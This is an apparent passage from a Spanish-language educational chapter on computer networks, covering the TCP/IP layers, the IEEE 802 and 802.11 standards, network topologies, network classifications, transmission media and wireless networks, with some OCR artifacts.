La capa de acceso a la red es la primera capa de la pila TCP/IP. Ofrece la
capacidad de acceder a cualquier red fisica, es decir, brinda los recursos que se
deben implementar para transmitir datos a traveés de la red. Por lo tanto, la capa
de acceso a la red contiene especificaciones relacionadas con la transmisién de
datos por una red fisica, cuando es una red de area local tales como cable coaxial,
fibra optica, par fisico conectada mediante linea telefonica u otro tipo de conexion

a una red.

2.3.2 La capade internet

La capa de Internet maneja la comunicacién de una maquina a otra. Esta acepta
una solicitud para enviar un paquete desde la capa de transporte, junto con una
identificacion de la maquina, hacia la que se debe enviar el paquete. La capa
Internet también maneja la entrada de datagramas, verifica su validez y utiliza un
algoritmo de ruteo para decidir si el datagrama debe procesarse de manera local o

debe ser transmitido.

Para el caso de los datagramas direccionados hacia la maquina local, el software
de la capa de red de redes borra el encabezado del datagrama y selecciona, de
entre varios protocolos de transporte, un protocolo con el que manejara el

paquete.

En esta capa operan varios protocolos los cuales son; IP (Protocolo de Internet),
ICMP (Protocolo de Internet de Control de Mensajes), ARP (Protocolo de
Resolucién de Direccion), RARP (Protocolo de Resolucion de Direccién de
Retorno) y IGMP (Protocolo de Administracion de Grupos de Internet). De estos

los primeros 3 son los mas importantes de esta capa.
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2.3.3 Lacapade transporte

La funcién basica de la capa de transporte es aceptar datos de la capa de sesion,
dividirlos en unidades mas pequeinas si es necesario, pasarlos a la capa de red y
asegurar que todos los pedazos lleguen correctamente al otro extremo, ademas,
todo esto se debe hacer de manera eficiente y en forma que aisle a las capas
superiores de los cambios inevitables en la tecnologia del hardware. Simplemente

especifican la manera de asegurar una transferencia confiable.

La capa de transporte contiene dos protocolos que permiten que dos aplicaciones
puedan intercambiar datos independientemente del tipo de red (es decir,
independientemente de las capas inferiores). Estos dos protocolos son TCP
(Protocolo de Control de Transmisién), un protocolo orientado a conexidn que
brinda deteccion de errores UDP (Protocolo de Datagramas de Usuario), un

protocolo no orientado a conexidn en el que la deteccion de errores es obsoleta.

2.3.4 La capade aplicacién

La capa de aplicacién se encuentra en la parte superior de las capas del protocolo
TCP/IP. Contiene las aplicaciones de red que permiten la comunicacion mediante

las capas inferiores.

Por lo tanto, el software en esta capa se comunica mediante uno o dos protocolos
de la capa inferior (la capa de transporte), es decir, TCP o UDP.

Existen diferentes tipos de aplicaciones para esta capa, pero la mayoria son
servicios de red o aplicaciones brindadas al usuario para proporcionar la interfaz

con el sistema operativo.

La capa de aplicacion soporta los protocolos de direccionamiento y la
administraciéon de red. Ademas tiene protocolos para transferencia de archivos,

correo electronico y conexion remota.
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“Esta capa contiene todos los protocolos de alto nivel. En los primeros protocolos
estan el de terminal virtual (TELNET), transferencia de archivos (FTP) y correo
electronico (SMTP). A través de los afios se han agregado muchos otros
protocolos. El sistema de nombres de dominio (DNS) para resolucion de nombres
de Host a sus direcciones; HTTP, el tiempo para recuperar paginas de la World
Wide Web, y RTP, el protocolo para transmitir medios en tiempo real, como voz o

peliculas.” (Tanenbaum & Wetherall, 2012).

2.4 Estandar IEEE 802

2.4.1 IEEE 802

Es un estudio de estandares elaborado por el Instituto de Ingenieros Eléctricos y
Electronicos (IEEE) que actua sobre Redes de ordenadores. De igual forma se
refiere a los estandares que proponen, algunos de los cuales son muy conocidos
tales como Ethernet (IEEE 802.3), o Wi-Fi (IEEE 802.11). Incluso hoy en dia estan
intentando estandarizar Bluetooth en el 802.15 (IEEE 802.15).

Se centra en definir los niveles mas bajos (segun el modelo de referencia OSI o
sobre cualquier otro modelo). Concretamente subdivide el segundo nivel, el de
enlace, en dos subniveles: El de Enlace Logico (LLC), recogido en 802.2, y el de
Control de Acceso al Medio (MAC), subcapa de la capa de Enlace Légico. El resto
de los estandares actuan tanto en el Nivel Fisico, como en el subnivel de Control

de Acceso al Medio.

En febrero de 1980 se form6 en el IEEE un comité de redes locales con la
intencion de estandarizar un sistema de 1 o0 2 Mbps que basicamente era Ethernet
(el de la época). Le tocd el numero 802. Dividieron el nivel de enlace en dos
subniveles: el de enlace légico, encargado de la légica de re-envios, control de
flujo y comprobacion de errores, y el subnivel de acceso al medio, encargado de
arbitrar los conflictos de acceso simultaneo a la red por parte de las estaciones.
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Para finales del ano 1980 ya se habia ampliado el estandar para incluir el Token
Ring (Red en anillo con paso de testigo) de IBM y un afo después, y por presiones
de grupos industriales, se incluyé Token Bus (Red en bus con paso de testigo),
que incluia opciones de tiempo real y redundancia, y que se suponia idoneo para

ambientes de fabrica.

Conforme avanzaba la tecnologia, se fueron ampliando los campos de trabajo, se
incluyeron redes de area metropolitana (alguna decena de kildbmetros), personal
(unos pocos metros) y regional (algun centenar de kildbmetros), se incluyeron redes

inalambricas (WLAN), métodos de seguridad, comodidad, etc.

En este capitulo se explicara de manera general el funcionamiento del estandar
IEEE 802.11. Cabe mencionar que no es la unica que existe, esta familia de
estandares tiene miembros diversos con diferencias tecnolodgicas y diferentes

adaptaciones. Ver Tabla 1

“De las siete capas del modelo OSI, anteriormente ya mencionadas, El estandar
IEEE 802 define exclusivamente los temas relacionados con las dos primeras
capas: la capa fisica y de enlace. En estas capas se define las técnicas de acceso,
las cuales su funcionamiento es que cada terminal puede hacer uso del medio de
comunicacion comun. Las primeras técnicas de acceso que definié el IEEE se

pensaron para las redes de cable.” (Gémez, 2011).
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IEEE 802.1 Normalizacién de interface
802.1D Spanning Tree Protocol
802.1Q Virtual Local Area Networks (VLAN)
802.1aq Shortest Path Bridging (SPB)
IEEE 802.2 Control de enlace légico Inactivo
IEEE 802.3 CSMA/CD (Ethernet)
IEEE 802.4 Token bus Disuelto
IEEE 802.5 Token ring Inactivo
IEEE 802.6 Metropolitan Area Network (MAN) Disuelto
IEEE 802.7 Grupo asesor en banda ancha Disuelto
IEEE 802.8 Grupo asesor en fibras Opticas Disuelto
IEEE 802.9 Servicios integrados de red de Area Local Disuelto
IEEE 802.10 Seguridad Disuelto
IEEE 802.11 Redes inalambricas WLAN (Wi-Fi)
IEEE 802.12 Prioridad por demanda Disuelto
IEEE 802.13 Se ha evitado su uso por supersticion Sin uso
IEEE 802.14 Modems de cable Disuelto
IEEE 802.15 WPAN (Bluetooth)
IEEE 802.16 Redes de acceso metropolitanas sin hilos de
banda ancha (WIMAX)
IEEE 802.17 Anillo de paquete elastico
IEEE 802.18 Grupo de Asesoria Técnica sobre Normativas En  desarrollo
de Radio hoy en dia
IEEE 802.19 Grupo de Asesoria Técnica de Coexistencia
IEEE 802.20 Mobile Broadman Wireless Access
IEEE 802.21 Media Independent Handoff
IEEE 802.22 Wireless Regional Area Networks

Tabla 1 Estandar 802
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Esto llevo a una evolucion de los estandares de |IEEE para asegurar el correcto

funcionamiento y que puedan trabajar sin ningun problema.

“En 1997 el IEEE afiadio un nuevo miembro a su familia de 802 que se ocupa de

definir las redes de area local inalambricas. Este nuevo miembro es el 802.11.

La primera norma de 802.11 utilizaba infrarrojos como medio de transmision y
nunca tuvo una buena aceptacion en el mercado. Posteriormente salieron otras
dos nuevas normas de 802.11 basadas en el uso de radiofrecuencia en la banda
2,4 GHz. Ambas se diferencian en el método de transmision de radio utilizado.
Una utiliza el sistema FHSS (Frequency Hopping Spread Spectrum) o Difusion por
Salto de Frecuencia, y la otra usa el sistema DSSS (Direct Sequence Spread

Spectrum) o Difusién por Secuencia Directa.” (Gomez, 2011).

No fue hasta 1999 en que aparecieron los primeros semiconductores de
tecnologia de radio de 2,4 GHz, esto a su vez dio paso para que la familia 802.11
se fortaleciera y con ello aparecen nuevas versiones del estandar 802.11. Ver
Tabla 2

A continuacion se mencionan algunas de ellas:

» |IEEE 802.11a La revision 802.11a fue aprobada en 1999. El estandar
802.11a utiliza el mismo juego de protocolos de base que el estandar
original, opera en la banda de 5 GHz, con una velocidad maxima de 54
Mbit/s, tiene 12 canales sin solapa, 8 para red inalambrica y 4 para

conexiones punto a punto

» |EEE 802.11b La revision 802.11b del estandar original fue ratificada en
1999. 802.11b tiene una velocidad maxima de transmision de 11 Mbps y
utiliza el mismo método de acceso definido en el estandar original
CSMAJ/CA. El estandar 802.11b funciona en la banda de 2,4 GHz.
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» |IEEE 802.11g En junio de 2003, se ratificé un tercer estandar de
modulacién: 802.11g, que es la evolucion de 802.11b. Este utiliza la banda
de 2,4 Ghz (al igual que 802.11b) pero opera a una velocidad teodrica
maxima de 54 Mbit/s, que en promedio es de 22,0 Mbit/s de velocidad real

de transferencia, similar a la del estandar 802.11a.

Actualmente se venden equipos con esta especificacion, con potencias de
hasta medio vatio, que permite hacer comunicaciones de hasta 50 km con
antenas parabdlicas o equipos de radio apropiados. Existe una variante
llamada 802.11g+ capaz de alcanzar los 108 Mbps de tasa de
transferencia, generalmente solo funciona en equipos del mismo fabricante

ya que utiliza protocolos propietarios.

» |EEE 802.11n En enero de 2004, se dio a conocer el IEEE 802.11n. La
velocidad real de transmision maxima es de 600 Mbps, aunque su
velocidad promedio es de 300 Mbps. Este estandar se viene implantando
desde 2008.

A diferencia de las otras versiones de Wi-Fi, 802.11n puede trabajar en dos
bandas de frecuencias: 2,4 GHz (la que emplean 802.11b y 802.11g) y 5
GHz (la que usa 802.11a). Debido a esto, 802.11n es compatible con
dispositivos basados en todas las ediciones anteriores de Wi-Fi. Se conoce
que el futuro estandar sustituto de 802.11n sera 802.11ac con tasas de

transferencia superiores a 1 Gb/s.
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802.11 1997 ' Especificaciones de la capa fisica y MAC, de las redes de area local
inalambricas (infrarrojo y radio 2,4 GHz).

802.112 1999 Especificaciones para redes inalambricas de alta velocidad (54 Mbps) en la
banda de 5 GHz.

802.11b 1999 Especificaciones de la capa fisica y MAC de las redes de area local
inalambricas de rango de velocidad de 5,5 a 11 Mbps /radio 2,4 GHz).

802.11c 1998 Define las caracteristicas que necesitan los puntos de acceso para actuar
como puentes (bridges).

802.11d 2001 Adaptacion a los requerimientos regionales (modo mundial)

802.11e 2005 Calidad de servicio para aplicaciones en tiempo real (voz, video, etc.).

802.11f 2000 Interoperatividad entre puntos de acceso de distintos fabricantes (Interaccess
Point Protocol, IAPP) para permitir la itinerancia (Roaming).

802.11g 2003 Especificaciones para redes inalambricas de alta velocidad (54 Mbps) en la
banda de 2,4 GHz.

802.11h 2003 Mejoras en la gestion del espectro (seleccion dinamica de canal y control de
potencia de transmision).

802.11i 2004 Mejoras para seguridad y autentificacion.

802.11j 2004 802.11a con canales adicionales por encima de 4,9 GHz (802.11a en Japon).

802.11k 2002 Intercambio de informacién de capacidad entre clientes y puntos de acceso.

802.11m 2003 Estandar propuesto para el mantenimiento de redes inalambricas.

802.11n 2004 Nueva generacion para redes inalambricas de alta velocidad (hasta 540 Mbps
tedricos).Existen propuestas para 2,4 y 5 GHz.

80211p 2008 Acceso inalambrico para el entorno de vinculos (coches, ambulancias, etc.).

802.11r 2008 Permite establecer protocolos de seguridad que identifican a un dispositivo en
el nuevo punto de acceso antes de que abandone el actual y se pase a él en
menos de 50 milisegundos.

802.11v 2011 Aun en pruebas. Permitira la configuracion remota de los dispositivos cliente,
incluye mecanismos de ahorro de energia, mejor posicionamiento,
temporizacién y coexistencia.

802.11w 2009 AUn en pruebas. Permitira aumentar la seguridad de los protocolos de

autenticacioén y codificacion.

Tabla 2 Estandares IEEE 802.11
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Una de las claves del éxito comercial ha sido la buena interoperabilidad existente
entre equipos de diferentes fabricantes, labor que ha llevado a cabo la Wi-Fi
Alliance. Este organismo, con cerca de 200 empresas entre sus miembros y 800
productos certificados al dia de hoy ha fomentado la tecnologia y garantizando su

genérico buen uso.

2.5 Topologias de red

La topologia de red se define como una familia de comunicacion usada por las
computadoras que conforman una red para intercambiar datos, esto es en la forma

en que esta disefiada la red, sea en el plano fisico o ldgico.

El concepto de red puede definirse como "conjunto de nodos interconectados". Un
nodo es el punto en el que una curva se intercepta a si misma. Lo que un nodo es
concretamente, depende del tipo de redes a que nos refiramos. Es la distribucién

geométrica de las computadoras conectadas.

Cuando hablamos de topologia de una red, hablamos de su configuracion. Esta
configuracion recoge tres campos: fisico, eléctrico y logico. El nivel fisico y
eléctrico se puede entender como la configuracion del cableado entre maquinas o
dispositivos de control o conmutaciéon. Cuando hablamos de la configuracion
l6gica tenemos que pensar en como se trata la informacién dentro de nuestra red,

como se dirige de un sitio a otro o como la recoge cada estacion.

2.5.1 Red en Bus

Una topologia de bus es multipunto. Un cable largo actua como una red troncal

que conecta todos los dispositivos en la red. Ver ilustraciéon 5
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La topologia de bus tiene todos sus nodos conectados directamente a un enlace y
no tiene ninguna otra conexion entre si. Fisicamente cada host esta conectado a
un cable comun, por lo que se pueden comunicar directamente. La ruptura del

cable hace que los hosts queden desconectados.

llustraciéon 5 Topologia en bus

Los extremos del cable se terminan con una resistencia de acople denominada
terminador, que ademas de indicar que no existen mas ordenadores en el

extremo, permiten cerrar el bus por medio de un acople de impedancias.

Si se produce una rotura en cualquier parte del cable o si un extremo no esta
terminado, la sefal balanceara hacia adelante y hacia atras a través de lared y la

comunicacion se detendra.

43


http://es.wikipedia.org/wiki/Topolog%C3%ADa
http://es.wikipedia.org/wiki/Nodo
http://es.wikipedia.org/wiki/Host
http://es.wikipedia.org/wiki/Cable
http://es.wikipedia.org/wiki/Impedancia

Capitulo 2. Redes de computadoras

El numero de equipos presentes en un bus también afecta al rendimiento de la
red. Cuantos mas equipos haya en el bus, mayor sera el numero de equipos

esperando para insertar datos en el bus, y en consecuencia, la red ira mas lenta.

Ademas, debido al modo en que los equipos se comunican en una topologia de
bus, puede producirse mucho ruido. Ruido es el trafico generado en la red cuando
los equipos intentan comunicarse entre si simultaneamente. Un incremento del
numero de equipos produce un aumento del ruido y la correspondiente reduccion

de la eficacia de la red.

Ventajas:

Facilidad de implementacion y crecimiento.
Econdmica.

Simplicidad en la arquitectura

Desventajas:

Longitudes de canal limitadas.Un problema en el canal usualmente degrada toda
la red.

El desempefio se disminuye a medida que la red crece.

El canal requiere ser correctamente cerrado (caminos cerrados).Altas pérdidas en

la transmision debido a colisiones entre mensajes.
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2.5.2 Red en Anillo

En una topologia en anillo cada dispositivo tiene una linea de conexion dedicada y
punto a punto solamente con los dos dispositivos que estan a sus lados. La sefial
pasa a lo largo del anillo en una direccion, o de dispositivo a dispositivo, hasta que
alcanza su destino. Cada dispositivo del anillo incorpora un repetidor. Ver

ilustracion 6

En este tipo de red la comunicacion se da por el paso de un Token o testigo, que
se puede conceptualizar como un cartero que pasa recogiendo y entregando
paquetes de informacién, de esta manera se evitan eventuales pérdidas de

informacion debidas a colisiones.

llustracion 6 Topologia en anillo

45



Capitulo 2. Redes de computadoras

Cabe mencionar que si algun nodo de la red deja de funcionar, la comunicacién en

todo el anillo se pierde.

En un anillo doble, dos anillos permiten que los datos se envien en ambas
direcciones. Esta configuracion crea redundancia (tolerancia a fallos), lo que

significa que si uno de los anillos falla, los datos pueden transmitirse por el otro.

Ventajas:

Simplicidad de arquitectura. Facilidad de implementacion y crecimiento.

Desventajas:

Longitudes de canal limitadas.

El canal usualmente degradara a medida que la red crece.

2.5.3 Red en Estrella

En una topologia en estrella, los segmentos de cable de cada equipo en la red
estan conectados a un componente centralizado, o concentrador. Un concentrador

es un dispositivo que conecta varios equipos juntos. Ver ilustracion 7

Dado su transmision, una red en estrella activa tiene un nodo central activo que

normalmente tiene los medios para prevenir problemas relacionados con el eco.
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llustracion 7 Topologia en estrella

Se utiliza sobre todo para redes locales. La mayoria de las redes de area local que
tienen un enrutador (Router), un conmutador (Switch) o un concentrador (Hub)
siguen esta topologia. El nodo central en estas seria el enrutador, el conmutador o

el concentrador, por el que pasan todos los paquetes.

Ventajas:

Tiene dos medios para prevenir problemas.

Permite que todos los nodos se comuniquen entre si de manera conveniente.
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Desventajas:

Si el nodo central falla, toda la red se desconecta.
Es costosa, ya que requiere mas cable que la topologia bus.

El cable viaja por separado del Hub a cada computadora.

2.5.4 Red en Malla

En una topologia en malla, cada dispositivo tiene un enlace punto a punto y
dedicado con cualquier otro dispositivo. El término dedicado significa que el enlace
conduce el trafico unicamente entre los dos dispositivos que conecta. Ver

ilustracion 8

De esta manera es posible llevar los mensajes de un nodo a otro por diferentes
caminos. Si la red de malla estda completamente conectada, no puede existir
absolutamente ninguna interrupcion en las comunicaciones. Cada servidor tiene

sus propias conexiones con todos los demas servidores.
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llustracion 8 Topologia en malla

El establecimiento de una red de malla es una manera de encaminar datos, voz e
instrucciones entre los nodos. Las redes de malla se diferencian de otras redes en
que los elementos de la red (nodo) estan conectados todos con todos, mediante
cables separados. Esta configuracion ofrece caminos redundantes por toda la red

de modo que, si falla un cable, otro se hara cargo del trafico.

Esta topologia, a diferencia de otras (como la topologia en arbol y la topologia en
estrella), no requiere de un servidor o nodo central, con lo que se reduce el
mantenimiento (un error en un nodo, sea importante o no, no implica la caida de

toda la red).

Las redes de malla son auto ruteables. La red puede funcionar, incluso cuando un
nodo desaparece o la conexion falla, ya que el resto de los nodos evitan el paso
por ese punto. En consecuencia, la red malla, se transforma en una red muy

confiable.
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Ventajas:

El uso de los enlaces dedicados garantiza que cada conexion solo debe
transportar la carga de datos propia de los dispositivos conectados, eliminando el
problema que surge cuando los enlaces son compartidos por varios dispositivos.
Cuando un mensaje viaja a través de una linea dedicada, solamente lo ve el
receptor adecuado. Las fronteras fisicas evitan que otros usuarios puedan tener
acceso a los mensajes.

Si un enlace falla, no inhabilita todo el sistema.

Desventajas:

Su principal desventaja es que funciona con pocos ordenadores debido a que
estan conectados fisicamente y si la cantidad de ordenadores es muy grande las
conexiones serian abrumadoras es por ello que solo se utiliza en redes pequeias.
Es mas costosa que las demas topologias debido a que utilizan mayor cantidad de
cableado.

Debido a que su instalacion, configuracion y mantenimiento son muy dificiles ya
que los ordenadores deben estar conectados entre si que, a su vez, ocupa

demasiado espacio.

2.5.5 Red en Arbol

La topologia en arbol es una variante de la de estrella. Como en la estrella, los
nodos del arbol estan conectados a un concentrador central que controla el trafico

de la red.
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Sin embargo, no todos los dispositivos se conectan directamente al concentrador
central. La mayoria de los dispositivos se conectan a un concentrador secundario

que, a su vez, se conecta al concentrador central. Ver ilustracién 9

llustracién 9 Topologia en arbol

La topologia en arbol puede verse como una combinacién de varias topologias en
estrella. Tanto la de arbol como la de estrella son similares a la de bus cuando el
nodo de interconexién trabaja en modo difusion, pues la informacion se propaga
hacia todas las estaciones, solo que en esta topologia las ramificaciones se
extienden a partir de un punto raiz (estrella), a tantas ramificaciones como sean

posibles, segun las caracteristicas del arbol.
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Ventajas:

El Hub central al retransmitir las sefiales amplifica la potencia e incrementa la
distancia a la que puede viajar la seial.

Se permite conectar mas dispositivos gracias a la inclusion de concentradores
secundarios.

Permite priorizar y aislar las comunicaciones de distintas computadoras.

Cableado punto a punto para segmentos individuales.

Soportado por multitud de vendedores de software y de hardware.

Desventajas:

Se requiere mucho cable.

La medida de cada segmento viene determinada por el tipo de cable utilizado.
Si se viene abajo el segmento principal todo el segmento se viene abajo con él.
Es mas dificil su configuracion.

No tiene sentido unico.

2.6 Clasificacion de las Redes

Las redes se pueden clasificar de distintas formas, puede hacerse teniendo en
cuenta el espacio fisico por el que se encuentran distribuidas, de esta forma las

clasificaremos por su cobertura.
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2.6.1 Por alcance

PAN (Personal Area Network), Red de Area Personal

Se establece que las redes de area personal son una configuracion basica
llamada asi mismo personal la cual esta integrada por los dispositivos que estan
situados en el entorno personal y local del usuario, ya sea en la casa, trabajo,
carro, parque, centro comercial, etc. Esta configuracion le permite al usuario
establecer una comunicacion con estos dispositivos a la hora que sea de manera

rapida y eficaz. Ver ilustracion 10

Algunas empresas se pusieron de acuerdo para disefiar una red inalambrica de
corto alcance conocida como Bluetooth para conectar estos componentes sin
necesidad de cables. Las redes Bluetooth utilizan el paradigma maestro —
esclavo, la unidad de sistema (PC), por lo general es el maestro, que trata con el
raton, teclado, impresoras, teléfonos celulares, etc., como sus esclavos. El
maestro les indica que direcciones usar, cuando pueden transmitir informacién y

por cuanto tiempo pueden transmitir, que frecuencias usar, entre otras cosas.
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llustracion 10 PAN (Personal Area Network)

LAN (Local Area Network), Red de Area Local

Una red LAN conecta varios dispositivos de red en una area de corta distancia
(decenas de metros) delimitadas unicamente por la distancia de propagacion del
medio de transmision como coaxial (hasta 500 metros), par trenzado (hasta 90
metros) o fibra dptica (decenas de metros), espectro disperso o infrarrojo (decenas

de metros). Ver ilustracion 11

En estos sistemas, cada computadora tiene un médem y una antena que utiliza
para comunicarse con otras computadoras. En la mayoria de los casos cada
computadora se comunica con un dispositivo en el techo a este dispositivo se le
denomina AP (Access Point) o Punto de Acceso, el cual transmite paquetes entre

las computadoras inalambricas y también entre estas e Internet.
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Una LAN podria estar delimitada también por el espacio en un edificio, un saloén,
una oficina, hogar...pero a su vez podria haber varias LAN en estos mismos
espacios. Se caracterizan por: tamafo restringido, tecnologia de transmision, alta

velocidad y topologia.

llustracion 11 LAN (Local Area Network)

Este tipo de redes maneja un estandar llamado IEEE 802.11, mejor conocido
como Wi-Fi que operan a una velocidad de 11 hasta cientos de Mbps, el cual tiene
baja latencia y baja tasa de errores. Cuando se utiliza un medio compartido es
necesario un mecanismo de arbitraje para resolver conflictos. En redes basadas
en |IP, se puede concebir una LAN como una subred, pero esto no es

necesariamente cierto en la practica.
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Las LAN comunmente utilizan las tecnologias Ethernet, Token Ring, FDDI (Fiber
Distributed Data Interface) para conectividad, asi como otros protocolos tales
como Appletalk, Banyan Vines, DECnet, IPX, etc. CAN: Campus Area Network,
Red de Area Campus.

En resumen, las redes LAN domésticas ofrecen muchas oportunidades y retos. La
mayoria de estos retos se relacionan con la necesidad de que las redes sean mas
faciles de manejar, confiables y seguras (en especial de manos de usuarios

inexpertos), asi como de un bajo costo.

CAN (Campus Area Network), Red de area de campus

Es una colecciéon de LAN dispersadas geograficamente dentro de un campus
(universitario, oficinas de gobierno, maquilas o industrias) pertenecientes a una
misma entidad en una area delimitada en kilbmetros. Una CAN utiliza
comunmente tecnologias tales como FDDI y Gigabit Ethernet para conectividad a
través de medios de comunicacién tales como fibra optica y espectro disperso. No

utiliza medios publicos. Ver ilustracion 12
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llustracion 12 CAN (Campus Area Network)

MAN (Metropolitana Area Network), Red de Area Metropolitana

Una MAN es una coleccion de LAN o CAN dispersas en una ciudad (decenas de
kilbmetros), da cobertura en un area geografica mas extensa que un campus, pero
aun asi, limitada. Una MAN utiliza tecnologias tales como ATM, Frame Relay,
xDSL (Digital Subscriber Line), WDM (Wavelenght Division Modulation), ISDN,
E1/T1, PPP, etc. Para conectividad a través de medios de comunicacion tales

como cobre, fibra éptica, y microondas.

Una MAN puede soportar tanto voz como datos, tiene uno o dos cables y no tiene
elementos de intercambio de paquetes o conmutadores, lo cual simplifica bastante

el disefo. Ver ilustracion 13
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llustracién 13 MAN (Metropolitana Area Network)

WAN (Wide Area Network), Red de Area Amplia

Una WAN es una coleccion de LAN dispersadas geograficamente cientos de
kilbmetros una de otra, un ejemplo de ellos es que abarcan un pais 0 un
continente completo. Un dispositivo de red llamado enrutador es capaz de
conectar LAN a una WAN.

Las WAN utilizan comunmente tecnologias ATM (Asynchronous Transfer Mode),
Frame Relay, X.25, E1/T1, GSM, TDMA, CDMA, xDSL, PPP, etc. para
conectividad a través de medios de comunicacion tales como fibra optica,

microondas, celular y via satélite.

Otros tipos de redes WAN utilizan mucho las tecnologias inalambricas. En los
sistemas de satélite, cada computadora en la Tierra tiene una antena a través de

la cual es posible enviar y recibir datos de un satélite en 6rbita. Ver ilustracién 14
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Todas las computadoras pueden escuchar la salida proveniente del satélite y, en
algunos casos, también pueden escuchar las transmisiones que envian sus
computadoras vecinas hacia el satélite. Las rede de satélite son de difusion por
naturaleza y son mas utiles cuando es importante contar con la propiedad de

difusion.

Red Wan

New York

Australia

México

llustracién 14 WAN (Wide Area Network)

La red de telefonia celular es otro ejemplo de una WAN que utiliza tecnologia
inalambrica. Este sistema ya pasé por tres generaciones y hay una cuarta por
venir. La primera generacion fue analoga y soélo para voz. La segunda fue digital y

solo para voz.
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La tercera generacion es digital y se puede transmitir tanto datos como voz. Cada
estacion base en un sistema celular cubre una distancia mucho mayor que una
LAN inalambrica, en donde el rango se mide en kildmetros en vez de decenas de

metros.

Las estaciones base se conectan entre si mediante una red troncal que por lo
general es alambrica. Las velocidades de datos de las redes celulares se
encuentran comunmente en el orden de 1 Mbps, un valor mucho menor al de una

LAN inalambrica que puede estar en el orden de hasta 100 Mbps.

2.6.2 Por tipo de conexidn

Medios guiados

El cable coaxial: se utiliza para transportar sefales eléctricas de alta frecuencia
que posee dos conductores concéntricos, uno central, llamado vivo, encargado de
llevar la informacion, y uno exterior, de aspecto tubular, llamado malla o blindaje,

que sirve como referencia de tierra y retorno de las corrientes.

El cable de par trenzado: es una forma de conexion en la que dos conductores
eléctricos aislados son entrelazados para tener menores interferencias y aumentar

la potencia y disminuir la diafonia de los cables adyacentes.

La fibra optica: es un medio de transmisién empleado habitualmente en redes de
datos; un hilo muy fino de material transparente, vidrio o materiales plasticos, por

el que se envian pulsos de luz que representan los datos a transmitir.

60


http://es.wikipedia.org/wiki/Cable_coaxial
http://es.wikipedia.org/wiki/Cable_de_par_trenzado
http://es.wikipedia.org/wiki/Fibra_%C3%B3ptica

Capitulo 2. Redes de computadoras

Medios no guiados

Red por radio: Es aquella que emplea la radiofrecuencia como medio de union de
las diversas estaciones de la red. Es un tipo de red muy actual, usada en distintas
empresas dedicadas al soporte de redes en situaciones dificiles para el
establecimiento de cableado, como es el caso de edificios antiguos no pensados
para la ubicacidon de los diversos equipos componentes de una Red de

ordenadores.

Los dispositivos inalambricos que permiten la constitucion de estas redes utilizan
diversos protocolos como el Wi-Fi: El estandar IEEE 802.11. El cual es para las
redes inalambricas, lo que Ethernet para las redes de area local (LAN) cableadas.
Ademas del protocolo 802.11 del IEEE existen otros estandares como el HomeRF,

Bluetooth y ZigBee.

Red por infrarrojos: Las redes por infrarrojos permiten la comunicacion entre dos
nodos, usando una serie de leds infrarrojos para ello. Se trata de
emisores/receptores de las ondas infrarrojas entre ambos dispositivos, cada
dispositivo necesita "ver" al otro para realizar la comunicacién por ello es escasa
su utilizacién a gran escala. Esa es su principal desventaja, a diferencia de otros

medios de transmision inalambricos (Bluetooth, Wireless, etcétera).

Se utiliza principalmente para realizar intercambio de datos entre dispositivos
moviles, como PDA's o moviles, ya que el rango de velocidad y el tamafio de los

datos a enviar/recibir es pequefo.

Red por microondas: Es un tipo de red inalambrica que utiliza microondas como
medio de transmision. El protocolo mas frecuente es el IEEE 802.11b. Muchas
empresas que se dedican a ofrecer servicios de Internet, lo hacen a través de las
microondas, logrando velocidades de transmision y recepcion de datos de 2.048

Mbps, o multiplos.
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El servicio utiliza una antena que se coloca en un area despejada sin obstaculos
de edificios, arboles u otras cosas que pudieran entorpecer una buena recepcion
en el edificio o la casa del receptor y se coloca un modem que interconecta la
antena con la computadora. La comunicaciéon entre el médem y la computadora se
realiza a través de una tarjeta de red, que debera estar instalada en la

computadora.

2.6.3 Por grado de autentificacion

Red publica: Abarca todo el mundo. Una red WAN, es un tipo de red de
computadoras capaz de cubrir distancias desde unos 100 hasta unos 1000 Km.,

dando el servicio a un pais o un continente.

Un ejemplo de este tipo de redes seria Red IRIS, Internet o cualquier red en la
cual no estén en un mismo edificio todos sus miembros (sobre la distancia hay
discusiéon posible). Muchas WAN son construidas por y para una organizacion o
empresa particular y son de uso privado, otras son construidas por los

proveedores de Internet (ISP) para proveer de conexion a sus clientes.

Red privada: Alguna gente. Una red de LAN, es la interconexion de varios
ordenadores y periféricos. Su extension esta limitada fisicamente a un edificio o0 a

un entorno de hasta 100 metros.

Su aplicacion mas extendida es la interconexion de ordenadores personales y
estaciones de trabajo en oficinas, fabricas, etc., para compartir recursos e
intercambiar datos y aplicaciones. En definitiva, permite que dos o mas maquinas

se comuniquen.
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2.6.4 Por relacion funcional

Cliente-servidor: es una arquitectura que consiste basicamente en un cliente que

realiza peticiones a otro programa (el servidor) que le da respuesta.

Peer-to-peer: es aquella red de computadoras en la que todos o algunos aspectos
funcionan sin clientes ni servidores fijos, sino una serie de nodos que se

comportan como iguales entre si.

2.6.5 Por grado de difusion

Intranet: es una red de computadoras que utiliza alguna tecnologia de red para
usos comerciales, educativos o de otra indole de forma privada, esto es, que no

comparte sus recursos o su informacion con redes ilegitimas.

Internet: es un conjunto descentralizado de redes de comunicacion
interconectadas que utilizan la familia de protocolos TCP/IP, garantizando que las
redes fisicas heterogéneas que la componen funcionen como una red légica unica,

de alcance mundial.

2.7 Red inalAmbrica

Una red inalambrica es aquella que permite conectar diversos nodos sin utilizar
una conexion fisica, sino estableciendo la comunicacion mediante ondas
electromagnéticas. La transmisién y la recepcion de los datos requieren de
dispositivos que actuan como puertos. Las redes inalambricas permiten establecer
vinculos entre computadoras y otros equipos informaticos sin necesidad de

instalar un cableado, lo que supone una mayor comodidad y un ahorro de dinero.
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Como punto negativo, este tipo de redes suele contar con una seguridad menor ya
que, si no se cuenta con una proteccion eficiente, el ingreso de intrusos es muy

probable.

A continuacion se dan a conocer algunos beneficios de la tecnologia de red
inalambrica asi como una breve guia sobre los ahorros de costos y otros, junto
con informacién acerca de las soluciones de red inaldmbrica de Cisco para

empresas en crecimiento, las cuales son:

> Econdmica. Como elimina o reduce los gastos de cableado, cuesta menos
instalar, operar y ampliar una red inalambrica en comparacion con una red

cableada.

> Comodo acceso. Obtenga acceso a los recursos de la red desde cualquier
lugar dentro del area de cobertura de la red inaldmbrica, como salas de

conferencias, o desde cualquier punto de acceso inalambrico publico.

> Féacil configuracion y expansiéon. Con una red inalambrica no es
necesario instalar cables para conectar computadoras, impresoras y otros
dispositivos a Internet. También es sencillo agregar nuevos usuarios de

computadoras a la red.

> Segura. Los continuos avances en normas y protocolos han logrado que
las redes inalambricas sean, en muchos casos, tan seguras como las redes
cableadas. Una red inaldambrica ofrece sélidas funciones de seguridad tales
